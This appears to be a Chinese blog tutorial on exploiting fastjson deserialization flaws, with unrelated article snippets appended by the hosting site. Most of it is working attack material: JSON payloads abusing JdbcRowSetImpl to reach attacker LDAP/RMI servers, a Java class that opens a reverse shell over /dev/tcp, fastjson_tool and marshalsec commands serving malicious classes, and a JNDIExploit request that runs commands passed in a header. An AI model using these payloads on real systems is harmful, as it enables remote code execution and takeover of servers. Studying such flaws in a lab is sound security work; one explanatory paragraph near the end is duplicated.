fastjson反序列化漏洞

fastjson反序列化漏洞

文章目录

  • fastjson反序列化漏洞
    • 1.漏洞原理
    • 2.探测方式
      • 2.1 查看回显
      • 2.2 LDAP/RMI服务测试
    • 3.LDAP/RMI服务搭建要求
    • 4.漏洞复现
      • 4.1 fastjson <=1.2.47 反序列化导致任意命令执行漏洞
        • 4.1.1 环境准备
        • 4.1.2 复现过程
      • 4.2 fastjson <=1.2.24 反序列化导致任意命令执行漏洞
        • 4.2.1 环境准备
        • 4.2.2 复现过程
      • 4.3 fastjson即时回显利用
          • 前情提要
          • 漏洞复现

1.漏洞原理

​ Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

​ fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。

​ 当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹。

2.探测方式

2.1 查看回显

当提交一个json数据时,可以故意截取数据内容,使其不完整,再查看服务器返回包内容是否写有fastjson

例如:

img

删去括号使其不完整,便出现了fastjson

img

2.2 LDAP/RMI服务测试

利用github上已经编译好的jar利用包,在VPS上启动ldap服务来构造payload来使服务端请求dnslog探测是否存在漏洞。

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 80 "curl sr7wx4.dnslog.cn"

img

利用所提供的payload进行dnslog

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 187
Content-Type:application/json

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.155.128:80/Object","autoCommit":true}}

img

平台成功接收,证明存在漏洞

img

3.LDAP/RMI服务搭建要求

img

4.漏洞复现

4.1 fastjson <=1.2.47 反序列化导致任意命令执行漏洞

4.1.1 环境准备

攻击机:win10 burp

vps:java python nc

靶机:kali

(条件有限vps上要搭建的东西移到了同为靶机的kali上)

4.1.2 复现过程

启动nc来进行监听,端口为4444

nc -ltvp 4444

img

此时启动jar包,该包专为1.2.47版本使用,利用该包启动ldap服务,前段ip为ldap服务ip及端口,后段为nc监听ip及端口。(https://github.com/wyzxxz/fastjson_rce_tool)

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 81 "bash=/bin/bash -i  >& /dev/tcp/192.168.155.128/4444 0>&1"
同样可以修改参数为fastjson.EvilRMIServer,启动RMI服务

img

返回payload,利用post方式将其发送至靶机服务端,同时Content-Type类型为application/json。

img

查看nc,已经接收到反弹的shell了

img

4.2 fastjson <=1.2.24 反序列化导致任意命令执行漏洞

4.2.1 环境准备

攻击机:win10 burp

vps:java python nc

靶机:kali

(条件有限vps上要搭建的东西移到了同为靶机的kali上)

4.2.2 复现过程

由于该版本没有专用的jar包需要自己进行编译。

首先编译远程调用的java文件(建议使用jdk1.8编译,其他版本编译出来的可能会不执行)

payload如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
	try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"touch", "/tmp/success"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e)
			{
				// do nothing
			}
		}
	}	
反弹shellpayload
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.155.128/4444 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

利用javac编译为class文件

javac TouchFile.java

img

当前文件夹则会生成一个class文件

img

安装maven环境

apt-get install maven

然后在编译好的java文件夹下启动一个http服务

python -m SimpleHTTPServer 3333

现在我们利用marshalsec项目,启动一个RMI服务器,监听9999端口,并使其加载编译好的类文件TouchFile.class

下载该项目,然后进行项目编译

mvn clean package -DskipTests

编译成功后会多出一个target文件夹,其中便有我们需要的jar包

img

img

此时执行监听命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

img

抓取数据包发送payload

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 123
Content-Type:application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.155.128:9999/TouchFile",
        "autoCommit":true
    }
}

成功获得shell

img

img

4.3 fastjson即时回显利用

前情提要

​ 在大部分情况下,可能没有做到如上面两种试验里这么顺利,遇到最多的问题就是class文件不读取或者读取了不执行,可以直接利用工具,进行一个帮助的回显

​ 工具链接:

https://github.com/WhiteHSBG/JNDIExploit

​ 利用该工具首先需要阅读一下说明(在工具文件内或者github上看),该工具主要启动ldap服务,支持多种路由格式,可以根据不同的路由选择不同的payloadtype和GadgetType。

启动工具

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i vps-ip

img

漏洞复现

​ 具体格式不变,同样是普通的fastjson格式的payload,但是里面引用的连接需要进行修改,同时,需要在hrader头中加入cmd: ifconfig等等命令

POST /api/auth/ainfo/contact/listFamily HTTP/1.1
Host: xxxxxx
Content-Length: 168
sn: null
cmd: ifconfig
Content-Type: application/json
Accept: application/json, text/plain, */*
timestamp: 1663245585261
device: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
utype: 1
token: null
sign: 892ed5ef47f06f89fb6e9a6812718b68
Origin: http://xxxx:8095
Referer: http://xxxx:8095/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://xxxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho","autoCommit":true}}

​ 将payload摘出来看

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389:不用说
Deserialization:说明中的Deserialization路由
CommonsCollectionsK1:GadgetType类型,可以挨个尝试直到回显
TomcatEcho:PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求,可以看到直接利用tomcat进行了回显

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389:不用说
Deserialization:说明中的Deserialization路由
CommonsCollectionsK1:GadgetType类型,可以挨个尝试直到回显
TomcatEcho:PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求,可以看到直接利用tomcat进行了回显

image-20240224114403283

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/422596.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OpenHarmony、HarmonyOS打开编辑 PDF 等操作的三方组件使用教程

项目场景: 随着数字化时代的发展,PDF 文档成为广泛应用于各行业的重要文件格式。为了提高OpenHarmony/HarmonyOS生态系统的功能性和用户体验,我们需要一款支持打开、编辑PDF文件的应用程序。 使用户能够轻松打开、浏览和编辑PDF文件。该应用将充分利用OpenHarmony/HarmonyO…

激光雷达原理

全球汽车行业正在进行自动化变革&#xff0c;这将彻底改变交通运输的安全和效率水平。 戴姆勒在S级豪华车型中引入L3级自动驾驶&#xff08;L3&#xff0c;在特定条件下自动驾驶&#xff0c;人类驾驶员一旦被请求就会随时接管&#xff09;是自动驾驶革命的一个重大突破。其他多…

Zoho Projects 8.0震撼来袭,项目管理再升级! 全方位功能变化解读

有效的项目管理方法保证项目按照进度、成本、质量要求进行交付&#xff0c;是针对单个项目或项目群的管理&#xff0c;从而确保项目符合企业的战略目标&#xff0c;实现企业收益最大化。 对于项目管理工作来说&#xff0c;我们通常会认为只有专业的经理才能胜任&#xff0c;软件…

k8s中容器的调度与创建:CRI,cgroup

container调度与创建 选自&#xff1a;K8s、CRI与container - packy的文章 - 知乎 https://zhuanlan.zhihu.com/p/102897620 Cgroup创建&#xff1a; cgexec -g cpu,memory:$UUID \ > unshare -uinpUrf --mount-proc \ > sh -c "/bin/hostname $UUID &…

力扣hot100题解(python版36-40题)

36、二叉树的中序遍历 给定一个二叉树的根节点 root &#xff0c;返回 它的 *中序 遍历* 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,3,2]示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入&am…

四、西瓜书——支持向量机

第六章 支持向量机 1.间隔与支持向量 支持向量机的原理是寻找与支持向量具有最大间隔的划分超平面。支持向量机具有一个重要性质: 训练完成后,大部分的训练样本都不需保留,最终模型仅与支持向量有关. 首先&#xff0c;超平面的方程为&#xff1a; 点到超平面的距离为&#xff…

如何通过Jenkins进行自动化构建项目

1. 介绍 Jenkins 是一个开源的持续集成&#xff08;CI&#xff09;和持续交付&#xff08;CD&#xff09;工具&#xff0c;旨在自动化软件开发过程中的构建、测试和部署。它是一个基于 Java 编写的自动化服务器&#xff0c;在软件开发生命周期的各个阶段提供自动化支持。 官方…

c语言经典测试题10

1.题1 int fun( int x) {int n 0;while (x 1){n;x x | (x 1);}return n; } int main() {int ret fun(2014);printf("%d", ret);return 0; } 上述代码运行结果是什么呢&#xff1f; 我们来分析一下&#xff1a;这里的fun函数有一个while循环&#xff0c;其判断…

改造小技巧:如何将客厅与阳台完美连通?福州中宅装饰,福州装修

问1&#xff1a;什么户型结构更适合客厅打通阳台&#xff1f; 一般来说&#xff0c;现代、简约或者开放式的户型结构更适合将客厅与阳台打通。这样可以通过移除非承重墙来增加室内采光和空间感。需要注意的是&#xff0c;在打通之前&#xff0c;需要考虑房屋的结构和承重墙的位…

Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写

系列文章目录 提示&#xff1a;这里是该系列文章的所有文章的目录 第一章&#xff1a;Qt下使用ModbusTcp通信协议进行PLC线圈/保持寄存器的读写&#xff08;32位有符号数&#xff09; 第二章&#xff1a;Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写 文章目录 系列文章目录…

【活动】前端世界的“祖传代码”探秘:从古老魔法到现代重构

作为一名前端工程师&#xff0c;我时常在项目中邂逅那些被岁月打磨过的“祖传代码”。它们就像古老的魔法书页&#xff0c;用HTML标签堆砌起的城堡、CSS样式表中的炼金术&#xff0c;以及JavaScript早期版本中舞动的符咒。这些代码承载着先驱们的探索精神和独特智慧&#xff0c…

内网信息搜集

目录 内网基础知识 基本流程图 怎么判断是否在域内 常规信息类收集-应用&服务&权限等 cs信息搜集 bloodhound安装及使用 内网基础知识 工作组&#xff1a;将不同的计算机按照功能分别列入不同的组&#xff0c;想要访问某个部门的资源&#xff0c;只要在【网络】里…

种地,成了“糊咖”最好的医美

在《种地吧&#xff0c;少年》&#xff08;后简称《种地吧》&#xff09;第二季上线后&#xff0c;这部综艺开启了在骨朵、猫眼、灯塔、艺恩各大综艺榜单的持续霸榜。上线至今&#xff0c;有一半的时间占据在日榜单热度TOP1的位置。 根据灯塔专业版数据显示&#xff0c;《种地…

《TCP/IP详解 卷一》第8章 ICMPv4 和 ICMPv6

目录 8.1 引言 8.1.1 在IPv4和IPv6中的封装 8.2 ICMP 报文 8.2.1 ICMPv4 报文 8.2.2 ICMPv6 报文 8.2.3 处理ICMP报文 8.3 ICMP差错报文 8.3.1 扩展的ICMP和多部报文 8.3.2 目的不可达和数据包太大 8.3.3 重定向 8.3.4 ICMP 超时 8.3.5 参数问题 8.4 ICMP查询/信息…

selenium爬虫

方法选择和安装包 在动态网页并且登陆过程中不需要进行过于复杂的密码验证的时候使用selenium会非常的方便 安装准备过程也相对简单&#xff1a; 下载对应版本的chromedriver并且通过如下代码找到路径下载到python所在的目录&#xff1a; import sysprint(sys.executable) …

Bert-as-service 学习

pip3 install --user --upgrade tensorflow 安装遇到的问题如下&#xff1a; pip3 install --user --upgrade tensorflow 1052 pip uninstall protobuf 1053 pip3 uninstall protobuf 1054 pip3 install protobuf3.20.* 1055 pip3 install open-clip-torch2.8.2 1…

C++/数据结构:AVL树

目录 一、AVL树的概念 二、AVL树的实现 2.1节点定义 2.2节点插入 三、AVL树的旋转 3.1新节点插入较高左子树的左侧&#xff1a;右单旋 3.2新节点插入较高右子树的右侧&#xff1a;左单旋 3.3新节点插入较高左子树的右侧---左右&#xff1a;先左单旋再右单旋 3.4新节点插…

数据结构篇十:红黑树

文章目录 前言1. 红黑树的概念2. 红黑树的性质3. 红黑树节点的定义4. 红黑树的插入4.1 情况一&#xff1a; cur为红&#xff0c;p为红&#xff0c;g为黑&#xff0c;u存在且为红4.2 情况二: cur为红&#xff0c;p为红&#xff0c;g为黑&#xff0c;u不存在/u存在且为黑。4.2.1 …

C++:内存管理|new和delete

创作不易&#xff0c;感谢三连支持&#xff01; 一、内存分布 为什么需要内存管理呢&#xff1f;&#xff1f;因为我们在程序的运行过程中会需要各种各样的数据&#xff0c;而我们根据数据的不同存储在不同的区域里面&#xff0c;是为了更高效地处理数据。而C语言相比Java来说…

Docker与虚拟机比较

在对比Docker和虚拟机前&#xff0c;先简单了解下虚拟化&#xff0c;明确Docker和虚拟机分别对应的虚拟化级别&#xff0c;然后对Docker和虚拟机进行比较。需要注意的是&#xff0c;Docker和虚拟机并没有什么可比性&#xff0c;而是Docker使用的容器技术和虚拟机使用的虚拟化技…